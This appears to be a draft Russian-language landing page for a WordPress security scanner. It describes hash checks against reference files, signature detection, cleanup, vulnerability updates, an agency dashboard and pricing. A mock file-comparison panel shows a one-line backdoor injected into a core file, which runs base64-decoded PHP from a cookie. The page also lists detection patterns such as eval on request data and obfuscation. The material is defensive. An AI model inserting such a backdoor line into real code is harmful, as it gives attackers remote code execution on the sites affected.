OK2WEB Scanner 3.43

Антивирус, который знает, каким должен быть каждый файл

Scanner сверяет файлы ядра, тем и плагинов с эталонами, ищет вредоносный код по сигнатурам и в базе данных, лечит и ведёт журнал всех изменений на сайте.

Scanner › Обзор
18 406файлов
18 402как эталон
3изменены
1угроза
Вредоносный файлuploads/2026/09/thumb.phpЛечить
Изменён файл ядраwp-includes/load.php · 2 строкиСравнить
Плагин без источникаwp-content/plugins/wp-core-helper/Проверить
Последняя проверка: сегодня 03:00Следующая: завтра 03:00
Три слоя проверки

Ловит и известные вирусы, и новые, которых нет ни в одной базе

Эталонные хеши

Хеш каждого файла сверяется с оригиналом из WordPress.org и репозитория OK2WEB. Любая правка видна построчно.

Сигнатуры

Собственные поведенческие правила OK2WEB, ClamAV и Linux Malware Detect. Базы обновляются с сервера OK2WEB каждый день.

База данных

Инъекции в опциях и записях, скрытые iframe, подозрительные задачи cron и недавно созданные администраторы.

Что находит

Больше 60 приёмов заражения, описанных простыми словами

Каждая находка объясняется: что это, чем опасно и что сделать. Без «Trojan.PHP.Generic-1234».

Веб-шеллы и загрузчикизапись PHP-файла из данных запроса
Выполнение кода из запросаeval/assert от $_POST, $_GET
Подключение кода по HTTPinclude удалённого файла, LFI/RFI
Вредоносный код отдаётся посетителямпрямо сейчас, проверка снаружи
Утечка доступа к базелогин и пароль из wp-config.php
Инъекции в wp_head / wp_footerдинамический код в шаблоне
Обфускацияbase64, gzinflate, chr(), goto, hex
Спам-текстыфарма, казино, взрослый контент
Редирект на чужой доменпо данным запроса или для поисковиков
Поддельный автор плагинаплагин выдаёт себя за известный
Исполняемые файлы в uploadsPHP, .htaccess, .user.ini
Невидимый символ BOMломает вёрстку и заголовки
Права 777 и 666файлы, которые может менять кто угодно
Копии конфигурации в корнеwp-config.php.bak, old.zip
Неактивные плагинызабытые и уязвимые
Лечение

Нашёл. Объяснил. Вылечил. Запомнил

  • Карантин: файл уходит в изолированное хранилище, его можно вернуть
  • Откат: подменённый файл заменяется оригиналом из репозитория
  • Белый список: ваши правки помечаются как доверенные
  • Журнал: какой плагин когда установлен, кто вошёл, что изменилось
  • Расследование: хронология заражения по логам и времени файлов
Сравнение с эталоном · wp-includes/load.php
412 │ function wp_get_environment_type() {
413 │ static $current_env = '';
413 │ @eval(base64_decode($_COOKIE['wp_s']));
414 │ static $current_env = '';
415 │ if ( ! defined( 'WP_RUN_CORE_TESTS' ) …
2 строки отличаютсяВосстановить оригинал · Это моя правка
Уязвимости и обновления
[Плагин форм]старая версия · уязвимость загрузки файловОпасноОбновить
[Конструктор страниц]старая версия · XSS для авторовСреднеОбновить
WordPress 6.8.3актуальноОК
Уязвимости

Предупредит до того, как дырой воспользуются

Scanner сверяет версии плагинов и тем с базами уязвимостей и обновляет их через очередь: сначала точка отката, потом обновление, потом проверка, что сайт открывается.

  • Обновление с автоматическим откатом при ошибке
  • Библиотека версий: можно вернуть любую прошлую
  • Обновления платных плагинов OK2WEB по ключу
Для агентств

Десятки сайтов в одной панели

Подключите сайты клиентов к своему Scanner. Видно, где угрозы, где старые плагины, где не прошёл бекап. Вход на любой сайт без пароля, по одноразовой ссылке.

  • Общий список проблем по всем сайтам
  • Массовые обновления и проверки
  • Отчёты клиентам с вашим логотипом
Тарифы для агентств
Мои сайты · 14
shop-coffee.ru1 угроза · бекап 03:00УгрозаВойти
clinic-demo.ru5 обновлений ждутОбновленияВойти
studio-site.ruвсё в порядкеОКВойти
blog-example.ruвсё в порядкеОКВойти
Ещё внутри

Всё, что входит в Scanner

Антибот

Отсекает парсеров и спамеров, пускает поисковики.

Файрвол WAF

Блокирует атаки до загрузки WordPress.

Бекапы

Яндекс Диск, Google Drive, WebDAV.

ИИ-помощник

Объясняет находки и отвечает на вопросы о сайте.

Уведомления

Telegram, Slack и почта: угрозы, входы, сбои бекапа.

Пользователи

Новые администраторы, подозрительные входы, сессии.

Права файлов

Находит 777, чужого владельца, открытый wp-config.php.

Диагностика

Здоровье сервера, PHP, cron и место на диске.

Тарифы

Free для знакомства, Pro для защиты

Free

0 ₽

1 сайт

  • Проверка раз в сутки
  • Базовые сигнатуры
  • Сверка ядра
Скачать
Выбирают чаще

Pro

4 690 ₽/год

1 сайт

  • Все модули защиты
  • Ежедневные базы
  • Лечение и откат
  • ИИ-помощник
Купить

Business

12 390 ₽/год

До 5 сайтов

  • Всё из Pro
  • Панель сайтов
  • Отчёты
Купить

Агентство

33 490 ₽/год

До 50 сайтов

  • Всё из Business
  • Вход без паролей
  • Свой логотип
Купить
✓ Цены условные, уточним перед запуском